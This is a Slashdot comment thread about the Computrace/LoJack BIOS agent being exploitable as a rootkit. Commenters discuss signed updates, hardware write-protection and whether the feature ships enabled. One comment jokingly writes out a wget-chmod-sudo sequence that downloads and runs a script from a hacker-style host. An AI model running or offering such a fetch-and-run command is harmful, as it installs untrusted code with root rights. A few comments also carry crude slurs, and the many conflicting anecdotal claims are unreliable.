      The concept here is to update the first-install version of the rootkit to be more robust against IP address changes, and to be more secure about the way updates are accepted. So, even if the IP address is spoofed or somehow updated, the download could be verified. Allowing unverified updates is just asking for malware injection.

      A good signing scheme wouldn't be so easy to spoof - think asymetric encryption not web site certificates.

    5. Re:Signature by darksabre · · Score: 1

      Are the free open source BIOSes reliable now ?

      No. They are good enough to boot some older motherboards in limited configurations but there is almost no laptop support at all.

    6. Re:Signature by BitZtream · · Score: 1

      You put the signature on the TPM chip and don't allow it to be modified?

      Sometimes its hard to see beyond your own need to prove everyone else wrong, just because they didn't give you complete implementation specification complete with hardware and source code doesn't mean it can't be made safe, this is actually pretty common in this that really do need to be secure.

      --
      Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
    7. Re:Signature by Anonymous Coward · · Score: 0

      Unless the certificate is burned onto the chip in the first place. Idiot.

    8. Re:Signature by Anonymous Coward · · Score: 0

      Of course it's game over if they can write to the bios, but what they are doing here is intercepting the bios' request for an update file and providing their own replacement. The current bios naively assumes that whatever file is returned is legitimate and installs it.

      If they used a proper public / private key system to encrypt the bios file first, and require the bios to use the public key to decrypt it, the bios updater stops naively accepting whatever update it is fed. If it can't decrypt the bios update, then it can't install it, and the only updates it would be able to decrypt would be those legitimately developed by the original company. Even if they intercepted the request, it wouldn't accept their maliciously crafted bios update.

      Who the heck is talking about certificates? This is basic public key cryptography.

  24. Re:Problem solved by clone53421 · · Score: 3, Insightful

    We're talking about a BIOS rootkit. The BIOS runs directly on the hardware. It doesn't really care what OS you're loading, unless it has some specific reason to.

    --
    Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  25. No,not sony for once, here is a list by leuk_he · · Score: 5, Informative

    From the Lojack compatibility list here is a list of company:

              ASUS, Dell Fujitsu, GammaTech, Gateway, GD Itronix, Getac, HP, Lenovo,,Motion, Panasonic, Toshiba

    You can find a list of models on the "bios compatibility list"

  26. Unsigned BIOS replacement is the problem by ral · · Score: 5, Insightful

    Please tell me if I'm missing something, but isn't the real vulnerability that the BIOS can be modified with unsigned code? A BIOS that allows this can be infected with a rootkit regardless of whether the LoJack code was there.

    1. Re:Unsigned BIOS replacement is the problem by camperdave · · Score: 1

      True, but a regular BIOS can be reflashed. This LoJack stuff survives BIOS flashings.

      --
      When our name is on the back of your car, we're behind you all the way!
    2. Re:Unsigned BIOS replacement is the problem by gmuslera · · Score: 2, Insightful

      The real vulnerability is the "phone home" part, specially because it dont use strong authentication. What if something in your path redirects that fixed IP it contacts to one with a fake set of instructions? Suddently router hacking, open hotspots, arp poisoning and other things could be lethal to your notebook, or even be used to bypass your well built firewall and make your pc part of an ever growing communit... i mean, botnet.

    3. Re:Unsigned BIOS replacement is the problem by coreboot · · Score: 2, Interesting

      You are assuming that the signed code can be trusted, which is a bad assumption. The signed code is from a vendor; how many vendors ship code with broken security; how many vendors would you expect to happily sign code with broken security, in the PC world? Answer: all of them :-)
      This development should not be a surprise to anyone, but evidently it is. We've been trying to warn people about this possibilty for 10 years; nobody seemed to care. I am hoping they care more now.
      I still feel the only solution to building PC systems you can trust is to turn to open code bases for ALL BIOS code. It's just too easy to hide some very nasty things in a 1 Mbyte binary blob.
      BTW, this BIOS exploit is the tip of the iceberg. Check this one out: http://en.wikipedia.org/wiki/Intel_Active_Management_Technology. How can your work around that one? It may be the only way to build machines we can trust is to get ouf of the x86 world entirely.
      ron

    4. Re:Unsigned BIOS replacement is the problem by Anonymous Coward · · Score: 0

      Your not missing anything. This was designed specifically for things like LOJACK, so that it would survive reboots and reflashes. If a simple flash could remove it, LOJACK would virtually become useless because anyone with knowledge could remove it(and any 10 yr old can flash a bios these days) and negate LOJACK usability. Even signing code is pretty trivial these days.

      The problem is that hackers are smarter and will find ways to exploit these type of things. What probably is needed is a hardware tool that controls the flash process, and it should be separate from the computer in question, maybe even having to remove the BIOS chip to flash it.

    5. Re:Unsigned BIOS replacement is the problem by Anonymous Coward · · Score: 0

      Not all reflashings. I had a troublesome fourteenth-hand laptop that had had Computrace enabled, but about ten owners prior, and the license had been cancelled. Even so, since the BIOS setting had been enabled, it wasn't disable-able. Took the BIOS update, disassembled it, reassembled minus the Computrace module, flashed. No more Lojack BS. It was old enough that a manufacturer BIOS update was unlikely to ever happen again, so fait accompli.

    6. Re:Unsigned BIOS replacement is the problem by Anonymous Coward · · Score: 1, Informative

      Datasheet of my old BIOS FLASH:

      http://www.atmel.com/dyn/resources/prod_documents/DOC1017.PDF (pdf datasheet)

      >In the AT49F002(N)(T), once the boot block programming lockout feature is enabled, the contents of the boot block are permanent and cannot be changed.

    7. Re:Unsigned BIOS replacement is the problem by Datamonstar · · Score: 1

      Thank you. You are so right. We should require a hardware tool in the form of a dongle or a physical switch on the machine. The action of flashing the BIOS should also give an interactive warning to illustrate that it should only be performed under extreme circumstances for most users. Also, it should include more options such as being able to limit a dongle to be used only X number of times before it is no longer active, or the ability to password the flash process or even require a physical key in order for the switch to be thrown. This will shift hardware-level exploits to the most dangerous type (to the black-hat): social engineering and gaining physical access. Hardware manufacturers will fight about it, but I doubt it would harm their business very much if the changes optional.

      --
      The eternal struggle of good vs. evil begins within one's self.
    8. Re:Unsigned BIOS replacement is the problem by bussdriver · · Score: 1

      Since when does SIGNED CODE solve the problem? who signs the code? Assuming that the whole thing could be flashed to change the keys you could have some malware get in and change the key in addition to any code they want to change. Say the code is FIXED into the chip, then all it takes is an upset employee to leak the key to everybody. Say its an upgradable key which is probable, then you have a situation similar to the Sat TV boxes where there is a community constantly keeping up with the chain of keys and master keys getting frequently changed.

      No, the only decent solution is to require PHYSICAL ACTION. If your business hates this, then you pay extra for it. The rest the population can have a switch in the back of the computer or cheaper computers could have a DIP switch. I'm totally ok with a motherboard jumper although a few cents in price for an easier to access DIP switch would be worth it.

    9. Re:Unsigned BIOS replacement is the problem by rhendershot · · Score: 1

      the BIOS can be modified with unsigned code?

      I'd prefer my computer allow me to write to it with my own code. that's harder if the normal flash process involves signing. and even harder if that must be bought.

    10. Re:Unsigned BIOS replacement is the problem by stine2469 · · Score: 1

      You forgot about IPv6 rendering that IP address meaningless.

    11. Re:Unsigned BIOS replacement is the problem by WuphonsReach · · Score: 1

      Please tell me if I'm missing something, but isn't the real vulnerability that the BIOS can be modified with unsigned code? A BIOS that allows this can be infected with a rootkit regardless of whether the LoJack code was there.

      The real problem is that the BIOS can be modified. (At any time, without any sort of security controls.)

      Full stop.

      A better way to mitigate it is to require either:

      - Some sort of hardware lock (jumper pin that has to be removed, a switch on the motherboard)

      - Require the user to enter the BIOS at startup and set it to "writeable" until the next power cycle

      Signed vs unsigned code isn't all that useful over the long run as signing keys can be compromised or stolen.

      --
      Wolde you bothe eate your cake, and have your cake?
  27. Persistant Advertising... by Xin+Jing · · Score: 2, Funny

    I'm surprised that hardware manufacturers haven't made better use of persistant on-chip data. A huge opportunity exists for device firmware developers to embed advertising. Imagine installing a Sony DVD drive that detects non-proprietary discs and popups a suggestion to purchase Sony discs. It isn't too hard to imagine Sony including a special bit string on their blank DVDs that their players look for each time a disc is inserted. Or several advertising partners with products that, when present, can create an "advertising opportunity": Sony DVD, Intel cpu, Microsoft OS and D-Link router trigger a cross-market moment.

    1. Re:Persistant Advertising... by Merls+the+Sneaky · · Score: 1

      Sony would be just the kind of douchebags to try this.

    2. Re:Persistant Advertising... by aztracker1 · · Score: 1

      Thanks, I'm pretty sure I'm going to have nightmares about this now... I'm actually serious. I tend to be a little paranoid about security, not nearly as much as some, but still.

      --
      Michael J. Ryan - tracker1.info
    3. Re:Persistant Advertising... by sexconker · · Score: 1

      Wasn't there a DVD burner recently that did this?
      Every time you'd close the tray it would prompt you to install their shitware. (Under windows, of course)

    4. Re:Persistant Advertising... by tepples · · Score: 1

      Imagine installing a Sony DVD drive that detects non-proprietary discs

      There are no non-proprietary DVD discs because DVD patents have not yet expired.

      and popups a suggestion to purchase Sony discs.

      PlayStation game consoles do exactly this.

  28. Re:60%? Really? by scout-247 · · Score: 2, Informative

    You'll have to load your laptop into BIOS, it's one of the options listed. I set the option to completely disable it. That doesn't mean that someone could somehow modify code to turn it on, and report it to their site.

  29. Re:60%? Really? by somecreepyoldguy · · Score: 4, Insightful

    Go into the BIOS setup, you can choose to activate the feature if you paid for the license, or deactivate a previously activated agent. Choosing disable removes the feature completely. it can NEVER come back. TFA is hype. If it is never enabled in the bios NOTHING is installed on windows.

  30. Good thing by Darkness404 · · Score: 1

    Good thing this doesn't come on the cheap models, I bought a cheap-as dirt ($300 new, not a netbook) Toshiba laptop that is a L305-S5955 and thankfully it doesn't have this "feature" but I feel like I dodged a bullet with this one.

    --
    Taxation is legalized theft, no more, no less.
  31. Re:Problem solved by aristotle-dude · · Score: 1

    We're talking about a BIOS rootkit. The BIOS runs directly on the hardware. It doesn't really care what OS you're loading, unless it has some specific reason to.

    Uh, yeah, we are talking about a BIOS feature that some companies choose to install. Macs do not come with a BIOS but rather use EFI. Have you heard of Google?

    Apple would have to deliberately include an EFI compatible version of this feature in order for this to be applicable.

    --
    Jesus was a compassionate social conservative who called individuals to sin no more.
  32. What's with all the extra "features" no one wants? by Anonymous Coward · · Score: 1, Insightful

    Why can't computer manufacturers just sell clean working laptops with clean Windows installs plus drivers on a basic BIOS that just includes a few items like which drive to boot from and a hard drive corruption check? It's getting a little bit ridiculous. There are several dozen crapware programs on most mass-market laptops, then you've got the root-kit BIOS, apparently, and the trusted computing module (And to this day no one has really been able to adequately explain to me what features the TCM gives me despite it's ubiquity). I know laptops are getting cheaper, but they are also getting more and more aggravating in some ways.

    This BIOS issue is more annoying than the crapware thing, really, because at least crapware can be removed in the control panel (Well, usually, I've seen a program or two refuse to uninstall) or through my computer, but a BIOS flashing is beyond most people's level of technical expertise. It's not anything else technological these days, it seems like, from software to hardware, we're told what we want and then "given" it and have no say in the matter, even if we like the old way better.

  33. Computrace - can't get rid of it. by Anonymous Coward · · Score: 1, Informative

    Computrace comes loaded in the bios of all of my Dell Latitudes. It is "inactive" until you turn it on in the BIOS. Once activated, there is no way to disable it.

    There is a one time license fee to register the Computrace machine on their website. It uses IP based location. Windows will recognize the computrace hardware and install a "Generic USB HUB" driver for it (thanks MS). It must also interface with WMI in some way, as the website will also pull up some details on the computer's specs.

    Once you flag the machine as stolen, Computrace (the company) tries to track it down. If they are unable to return your laptop within a certain amount of time (30 days I believe) they pay out 70% of the value of the laptop.

    1. Re:Computrace - can't get rid of it. by BitZtream · · Score: 1

      You might want a BIOS update, I have no problem turning mine on and off.

      --
      Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
    2. Re:Computrace - can't get rid of it. by BitZtream · · Score: 1

      Theres no reason WMI needs to be involved, its part of the BIOS, it already knows everything about the hardware and doesn't need much effort to read a little info off the windows disk.

      --
      Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
    3. Re:Computrace - can't get rid of it. by sexconker · · Score: 1

      Horse shit.
      Once enabled, it can't be disabled.
      Once disabled, it can't be enabled.

  34. Re:Problem solved by clone53421 · · Score: 2, Interesting

    So? EFI = not-so-basic basic input/output system.

    There's a mac version of LoJack. Whether or not it is installed on a Macbook would depend on whether Apple chose to preload it, I suppose. A hackintosh, OTOH, might be more likely to have it.

    --
    Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  35. Re:Problem solved by BitZtream · · Score: 1

    Its even easier to add this feature to EFI than it is to BIOS since EFI was designed to be Extensible.

    --
    Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
  36. Re:60%? Really? by thePowerOfGrayskull · · Score: 1

    It is indeed hard to believe. As far as I've been able to tell, even in the laptops where it ships, it defaults to disabled. You must actively enable it in the BIOS for it to do anything at all. And it is certainly easily possible to get laptops without it - I just did from HP, two different ones.

  37. Re:Problem solved by Anonymous Coward · · Score: 0

    Flame bait, I just call it attracting the "homosexual Mac crowd"

  38. Re:Problem solved by Alrescha · · Score: 1

    "Congrats, there is a Mac version available as well."

    The Mac version appears to be software install only, not the BIOS-resident version. Apple is not listed as a partner on the web site.

    A.

    --
    ...bringing you cynical quips since 1998
  39. Re:60%? Really? by QuantumRiff · · Score: 5, Informative

    Disable only works if the product was never activated. if the BIOS is set to active, AND the client software on the machine contacts the servers for Computrace, and verifies it should be licensed, then it "flips a switch" in that BIOS setting, and you can NEVER disable it again.

    They need to write to the software, or else the software will always try to contact them, and then anyone could track any laptop with a supeana, ruining their business model.. Instead, it has to be "turned on".

    Also, this software in the BIOS does not actually contact anyone directly. All the BIOS level crap does is forcibly try to re-install the agent software under windows. This could get ugly, if you update the BIOS, to try to force it to install a different program every time someone reloads windows...

    Of course, I wonder what happens if I buy an "off lease" laptop, that was at one point activated...

    --

    What are we going to do tonight Brain?
  40. Re:60%? Really? by Peet42 · · Score: 1

    Are you saying that this is a BIOS-level process that only introduces a Windows vulnerability? So Linux users and Hackintoshers are safe?

  41. Re:What's with all the extra "features" no one wan by Darkness404 · · Score: 1

    Some get money for putting crapware on their systems. However, the one thing I hate more are the annoying OEM branded programs. Ok, sure, I want a CD burner that can burn ISOs, however I don't want a TOSHIBA (R) DISK BURNER, even though its a decent disk burning program, I hate OEM branded stuff, I buy a computer, I'm smart enough to know theres very little difference between this Toshiba and a similarly equipped Compaq. The OEM branded wallpapers also annoy me, yes, I know what computer I bought. It says so everywhere on the machine, it doesn't matter. I don't need OEM wallpapers.

    But, that is what happens when you get a system designed by a marketing department...

    --
    Taxation is legalized theft, no more, no less.
  42. FUD FOR THE WIN! by BitZtream · · Score: 4, Informative

    First off, the 'feature' comes on a lot of laptops. Doesn't mean its enabled. You have to request it to be enabled in order for it to come from factory with it actually turned on.

    If you don't turn it on, it doesn't do anything, no phone home, no remote wipe, no tracking.

    Guess what, same thing applies to Blackberrys, and iPhones, and cars with LoJack that have remote shutoff. For every feature there is a potential risk, thats the way the world works.

    If you want the potential to remotely locate/track and wipe a laptop or PC, then you also get the potential that someone else can do it as well.

    --
    Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
    1. Re:FUD FOR THE WIN! by GMFTatsujin · · Score: 2, Informative

      Exactly right. The company that made LoJack lobbied for the feature to be installed, but they want you to pay for it to be activated. If you don't give them money, it's dormant.

      Now, if somebody hacked or appropriated their activation scheme, or compelled the company to activate it without your knowledge, that would be a cause for concern.

    2. Re:FUD FOR THE WIN! by Anonymous Coward · · Score: 0

      If you don't turn it on, it doesn't do anything, no phone home, no remote wipe, no tracking.

      Or so they claim. But as has been shown time after time (Sony, et. al.) the promises & assurances of the large corporations aren't worth spit.

      If you want the potential to remotely locate/track and wipe a laptop or PC, then you also get the potential that someone else can do it as well.

      But what about those of us who don't want that ability? Now we have to put a sniffer on every laptop prior to purchase to be sure that it isn't phoning home? Even that (if it would be possible) wouldn't be adequate -- it might not phone home every time.

    3. Re:FUD FOR THE WIN! by stine2469 · · Score: 1

      That's what null routes are for. or proxy/firewall rules.

  43. Actually, isn't it more like 95%? by rickb928 · · Score: 1

    Since most laptops come with Windows, and, well, you get my drift...

    oh, that's right, those aren't BIOS rootkits, nevermind. Makes all the difference.

    Though I don't much care if my nachine is compromised in pre-execution or later. All the same crap to me.

    I wonder if the bad guys have bothered to monitor LoJack transmissions for cars. At least you'd know where the cops are, and could plan to be elsewhere...

    --
    deleting the extra space after periods so i can stay relevant, yeah.
  44. Re:60%? Really? by Anonymous Coward · · Score: 1, Informative

    When doing our research we couldn't find a notebook *without* the Computrace agent.

    You didn't look very hard then, did you? Acer don't have CompuTrace and finding one of their notebooks is hardly challenging. According to the most recent data from NPD's DisplaySearch, Acer has the second largest unit-volume market share, with 16% of the global notebook shipments (excluding netbooks) to themselves.

    Obviously you know that, because as the ZDNet article based on your presentation stated, fully 40% of all new notebooks don't include Computrace. With nearly half of notebooks not including the technology, it's obviously pretty darned easy to find a notebook without Computrace. Polemic statements like that still don't do your credibility any good, though.

  45. Re:Problem solved by Anonymous Coward · · Score: 0

    PC's and Mac's

    The apostrophe is not used for pluralization. You meant "PCs and Macs."

    together. there

    You are missing capitalization on the first letter of a new sentence.

    there is a few companies

    Since "companies" is plural, you need to say "there are a few companies."

  46. Re:What's with all the extra "features" no one wan by BitZtream · · Score: 1

    They do. Its not enabled from the factory. You have to pay extra to get it to actually work. It is completely hidden to the OS unless enabled in the BIOS at boot time.

    I realize you just read some FUD kdawson forwarded for us, but you have to take extra steps to make this software work. Out of the box there is nothing to do, you don't have to 'remove it', when the BIOS transfers control it is for all intents and purposes not available.

    It is an optional feature, like traction control on your car or overdrive, you just turn it off.

    If you don't want it enabled the solution is REAL simple, don't buy a laptop with computrace installed. There are plenty out there without it.

    To use a car analogy, can you go to a dealership and buy a car without an engine? No. But you can find a car without air conditioning, if you put a little effort into it (depending on where you live, air conditioning may be an option rather than standard so bear with the analogy).

    When you buy mass market cookie cutter products in order to get a lower price than you don't get to specify the exact specifications yourself, you take one of the options you are given as you have to choose what most people want.

    If you want to pick anything you want then you have to build it yourself, which is FAR more expensive.

    --
    Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
  47. Something doesn't sound right, here. by Khyber · · Score: 5, Informative

    They have every DV/TC-model of HP Laptop listed - I used to specifically work on all DV/TC/NC/NX models, I've NEVER ONCE seen this in BIOS during any of my repairs. NEVER. Also, this software was never listed in part of HP's troubleshooting guides, and that usually means that feature is not there.

    I rebooted my laptop (DV9000, full featured loaded with every possible thing offered) and this 'rootkit' in BIOS is nowhere to be found, at all. Not on my friend's DV2000. Not on the new TC4400 I have in my art room.

    --
    Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
    1. Re:Something doesn't sound right, here. by Anonymusing · · Score: 2, Informative

      Maybe it's available "optionally" on all those models?

      Or maybe it's really really good at hiding itself from you....

      --
      Liberal? Conservative? Compare perspectives at Left-Right
    2. Re:Something doesn't sound right, here. by bmwEnthusiast · · Score: 2, Funny

      Isn't that what a rootkit is made to do? Hide from you so you have no idea its there. Otherwise they might call it an ObviousKit? /meh

    3. Re:Something doesn't sound right, here. by Anonymous Coward · · Score: 1, Interesting

      We buy this option on the Dells here at work. My guess is that it's more popular with larger organizations that have dedicated IT departments than it is with
      Mom-and-Pop operations. You know, organizations subject to silly stuff like HIPPA, PCI, and SOX compliance.

      Anecdote: We had a laptop so equipped stolen last year. With this service, they were able to locate the PC and have the local PD "retrieve" it for us.

    4. Re:Something doesn't sound right, here. by Anonymous Coward · · Score: 0

      This isn't in the bios of my DV5000Z either

    5. Re:Something doesn't sound right, here. by Anonymous Coward · · Score: 0

      Your DV9000 still works?!?

    6. Re:Something doesn't sound right, here. by Khyber · · Score: 1

      I said "Fully loaded DV9000 with ALL AVAILABLE OPTIONS (actually I said with EVERYTHING OFFERED.)" I also repaired most major commercial HP laptops (NX/NC series) and there was no option for this software, either, in BIOS.

      I was a lead repair tech for HP when I worked at Solectron. This is the FIRST I've ever heard of or seen this software, and I've handled every HP laptop model from their old Z-series on up. I've handled thousands of HP laptops, and have not once seen this in the BIOS options. In fact, most HP laptops BIOS (with the exception of the business-class notebooks) have such a limited BIOS that you can't really do ANYTHING besides set a password or run a hard disk test.

      --
      Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
    7. Re:Something doesn't sound right, here. by Khyber · · Score: 1

      Yes, it works just fine. See, once you opened the damned thing up and replaced HP's bullshit thermal pads with some real thermal compound, thermal issues became a thing of the past.

      --
      Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
  48. Re:No,not sony for once, here is a list by dogfolife69 · · Score: 2, Funny

    Yea, but sony does sell the "Computrace LoJack for Laptops" for their notebooks in their Sony branded VIP Protection Suite (which include Norton NIS, Online backup and Computrace LoJack for Laptops).... But i guess in this case, you can optionally chose for this Sony RootKit.... lol

  49. Re:Problem solved by sexconker · · Score: 1

    EFI
    Learn to macfag

  50. Obligatory by Anonymous Coward · · Score: 0

    Successful Slashdot troll is, err, successful.

  51. Re:Problem solved by schmidt349 · · Score: 1

    Anyone who thinks that the Darwin-BSD codebase and XNU kernel are as prone to exploitation as Windows kernelspace is dreaming. For one thing Darwin-XNU is open source, so anyone who likes can peek under the hood and suggest improvements. Now XNU isn't perfect, but the Windows kernel is a train wreck at 35,000 feet.

    The problem is that Mac users think their computers are invulnerable to exploits and then don't practice safe hex. But if you think your Windows box is just as safe as your Mac box you're going to get a nasty wakeup call at some point in the near future.

  52. Re:60%? Really? by GMFTatsujin · · Score: 1

    A list of participating manufacturers is right there on the company's web site: http://www.absolute.com/partners/bios-compatibility

    My company recently investigated the LoJack system after one of our laptops got stolen. It's impressive technology. The sales rep talked up how "fortunate" they were to get the cooperation of many BIOS implementations from the folks who make BIOSes. I don't think that's fortune at all -- it's a corporate deal. Whatever.

    It's common but not all-pervasive. (yet?) I looked for my laptop on the list and didn't find it, though, so it's not exactly all-pervasive. It's intended for corporations and individuals who want it.

    While the inclusion of this feature into many BIOSes is kinda creepy, I'm not terribly unsettled by it. It does, however, make me want to pursue the open BIOS initiatives.

  53. Jumper, or switch? by Anonymous Coward · · Score: 0

    *sigh* Isn't there some way we could have a "write-only" jumper that locks the chip from being flashed or modified?

  54. LoJack is now by Phizzle · · Score: 4, Funny

    LOLjack

    --
    I will not be pushed, filed, stamped, indexed, briefed, debriefed or numbered. My life is my own.
  55. Once upon a time... by DrYak · · Score: 3, Informative

    Well, once upon a time, that was the case :

    In case of bug you needed either to move the BIOS chip to a separate flasher, or at least use a hardware switch on the motherboard to switch between 5v and 12v to enable BIOS chip flashing.

    Nowadays, even Windows applications can write to the BIOS without any peculiar form of control. No switch at all involved.
    BIOS rootkits were just bound to happen. What makes it even easier for rootkits, is that 90% of all PC uses the same brands of BIOS and those BIOS are designed in a modular fashion making it easy to add a "rootkit" modules without needing the re-create a whole new BIOS (see example of how to add an embed FreeDOS inside an Award BIOS).

    That pretty much stupid : Most motherboard have a couple of bugs fixed during the first couple of months. Then there's mostly no need to reflash the BIOS, except for supporting newer CPUs, etc... which would require opening the case and accessing the motherboard anyway. But for the whole lifetime of the BIOS, it remains completely writeable even from user-space application from within highly insecure OSes.

    Hardware "write-protection" switches for BIOSes should be reintroduced. Simple fix for a simple problem.
    Instead you can stay sure that the manufacturers and Microsoft are going to require several layers of TPM and similar forms of DRM in BIOS which won't even guaranty that BIOSes would be protected from bugs.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  56. I knew this peice of Crap would go down someday by haplo21112 · · Score: 1

    I have worked with Computrace at one of my previous companies, and I always knew it was total crap.

    It doesn't even work as advertised most of the time and defeating it is so simple a 5 year old with some skill could do it.

    --
    Power Corrupts,Absolute Power Corrupts Absolutely, leaving one person(group)in charge is absolutely corrupt.
    1. Re:I knew this peice of Crap would go down someday by JumpDrive · · Score: 1

      It doesn't even work as advertised most of the time and defeating it is so simple a 5 year old with some skill could do it.

      Wouldn't that make them an 8 year old?

    2. Re:I knew this peice of Crap would go down someday by Bitmanhome · · Score: 1

      Not if they started hacking when they were 2. It's possible, kids are pretty rebellious at that age.

      --
      Not that this wasn't entirely predictable.
  57. Re:60%? Really? by haplo21112 · · Score: 1

    "Of course, I wonder what happens if I buy an "off lease" laptop, that was at one point activated..."

    The Original Vendor (DELL, IBM, etc) has the ability to reset activation state.

    --
    Power Corrupts,Absolute Power Corrupts Absolutely, leaving one person(group)in charge is absolutely corrupt.
  58. Re:Problem solved by je+ne+sais+quoi · · Score: 1

    As the AC troll noted, Macs use EFI, not BIOS. That means that the mac software that the grandparent linked to does not survive a disk wipe or swap. That in turn means that the software running above is running only on the hard disk and not the bios, and is not persistent so you can get rid of it easily once installed by just reformatting (or presumably just deleting the files will do it as well).

    I find it ironic that the slashdot moderators have gotten the moderation precisely wrong here. The great-grandparent AC was absolutely right, one solution to this rootkit is to own a mac since they don't use BIOS, they use EFI. But this is modded flamebait, and the misinformed grantparent who linked to the software is modded informative.

    --
    Gentlemen! You can't fight in here, this is the war room!
  59. Are you sure? by bemymonkey · · Score: 1

    I've had 4 laptops in the past few months, and none of them had any BIOS options resembling anything like that... maybe I just got lucky?

    1. Re:Are you sure? by characterZer0 · · Score: 1

      What on Earth are you doing to your poor laptops?

      --
      Go green: turn off your refrigerator.
    2. Re:Are you sure? by bemymonkey · · Score: 1

      There's a 14 day money back sort of thing for online stores by law here in Germany. The first three laptops weren't satisfactory in terms of performance/workmanship, so I got my money back and ordered something else.

      I'm still not quite satisfied with the fourth (DPC latency problems with nVidia graphics on a Thinkpad SL500), but can't be bothered to send back _another_ machine ;)

  60. This BIOS level software is disabled by default by postmortem · · Score: 1

    ...at least on my Dell.

    There's option to enable it permanently, meaning it cannot be disabled again.

    So number of affected laptops is far from 60%.

  61. Re:60%? Really? by Lord+Ender · · Score: 2, Informative

    60% may be vulnerable, but it is a bald faced lie to say that 60% are preloaded with a rootkit.

    --
    A slashdotter who didn't build his own computer is like a Jedi who didn't build his own lightsaber.
  62. Re:60%? Really? by BitZtream · · Score: 1

    One of our BIOSes is broken, because I can turn my copy off on a whim. Perhaps its because my bios requires an admin password? I donno, but I have no problem disabling it. Perhaps its not really disabled?

    --
    Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
  63. Re:60%? Really? by SEWilco · · Score: 1

    And if it's enabled, will anything happen under Linux? Is there even a Linux client, so I can consider whether to buy the service?

  64. I've never understood the point of this program... by klubar · · Score: 2, Insightful

    It's offered really cheaply on a bunch of Dells. The program calls home and reports its IP address when activated after being stolen. I doubt if the police are going to do anything with the report of an IP address on a stolen used computer that might be worth $1000 (probably less). All the cops are going to tell you to do is a) use a cable lock in the future b) don't leave the machine in your (car, house, office, etc.) in plain sight and c) call your insurance company. In most cities, cops don't even investigate stolen cars. The original lojack for cars (identifier beacons) might have been useful in a couple of cases, but lojact for computers is almost a complete waste of money. Better off investing in a) a cable lock, b) computer cover and c) insurance.

  65. What people are missing here... by Datamonstar · · Score: 1

    ... is that it allows for malicious code to be uploaded to the machine and the modifications will survive re-flashing and drive wipings. That is a HUGE glaring vulnerability right there and it might not even matter if you enable or disable the feature, if you use it, or if it is able to be disabled/enabled once set. The article does not mention whether it is necessary for it to be enabled, so lets assume it is not. It is not too much of an imagination stretch to envision malware that is able to upload change to the BIOS from the desktop that include the necessary settings for a successful attack. This is bad. Very bad.

    --
    The eternal struggle of good vs. evil begins within one's self.
  66. Re:Problem solved by je+ne+sais+quoi · · Score: 1

    As I posted above, the mac version resides solely on the hard drive and NOT IN THE EFI, which means that it can be easily removed and does not come back. As another has posted, Apple isn't listed as a partner on the company's site and it is not pre-installed. Therefore, macs are fairly safe from this, even if you have it installed, you just have to remove it from your hard drive.

    --
    Gentlemen! You can't fight in here, this is the war room!
  67. Re:60%? Really? by Desler · · Score: 3, Insightful

    Yeah, it's pretty funny that a piece of software that has nothing to do with Microsoft that gets loaded on hardware that Microsoft has nothing to do with by the OEMs themselves through a deal with a completely different company is not mentioned in a Microsoft commercial about Windows. Or actually, it's really not.

  68. Re:I've never understood the point of this program by calmofthestorm · · Score: 1

    The point is that it makes it super easy...all the police have to do is show up. Lojack provides evidence and testifies, if necessary. Police are working with a company they're used to working to.

    After all, they care about noise complaints.

    That said, I still think a cable lock is a ripoff

    posted primarily to undo moderation that /.'s fucking AJAX put in for me.

    --
    93rd rule of Slashdot: No matter how obvious my sarcasm is, my comment will be taken seriously by someone.
  69. Re:Problem solved by clone53421 · · Score: 1

    True, but I'm still wondering how this would affect someone who wanted to built a hackintosh, since the LoJack driver is in the BIOS and it's intentionally difficult to remove. If your computer was originally intended to have XP or Vista, you might have the LoJack driver.

    --
    Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  70. Re:Problem solved by calmofthestorm · · Score: 1

    It really don't matter how secure your computer is if you think you're invulnerable and are in the habit of typing

    wget http://www.h4x0r.org/pwn.sh
    chmod a+x pwn.sh
    sudo ./pwn.sh

    --
    93rd rule of Slashdot: No matter how obvious my sarcasm is, my comment will be taken seriously by someone.
  71. Re:Problem solved by Tony+Hoyle · · Score: 3, Informative

    Actually this could be built into EFI. Apple don't, but if a laptop manufacturer wanted to they could. It's even easier than BIOS - an EFI ROM is a structured filesystem containing all the drivers and commands required to boot.. things like the display and keyboard drivers. Adding this software could be done after the fact without even having to touch the original code.

  72. Re:60%? Really? by Anonymous Coward · · Score: 0

    At least on Dell laptops, there is a method of disabling CompuTrace after activating (or re-enabling it once "disabled permanently") by erasing the contents of a certain EEPROM chip...

  73. Too much generalization by Impy+the+Impiuos+Imp · · Score: 1

    > This is a BIOS-level application that calls home for instructions in
    > case the laptop is ever lost or stolen. However, what the application
    > considers 'home' is subject to change.

    Reminds me of an old cartoon where two people are standing right outside a bank's new, mighty vault. One's pointing at 3 foot hole in the wall with a plug lying on the floor, "...and that's the escape hatch in case someone gets locked in."

    --
    (-1: Post disagrees with my already-settled worldview) is not a valid mod option.
  74. Re:Problem solved by Anonymous Coward · · Score: 0

    [Citation Needed] There has yet to be a single complaint about Apple's employee work conditions, even for contractors.

  75. Re:Problem solved by SBrach · · Score: 1

    Grammar Nazi's does add's a lot of value to the conversation's.

  76. How would the malicious code initially installed? by camg188 · · Score: 1

    The article isn't really clear how the malicious code would be initially installed.
    Does the user have to run an executable that flashes the BIOS? Do you need root access?

  77. Re:60%? Really? by X0563511 · · Score: 2, Insightful

    Please explain to me how this works.

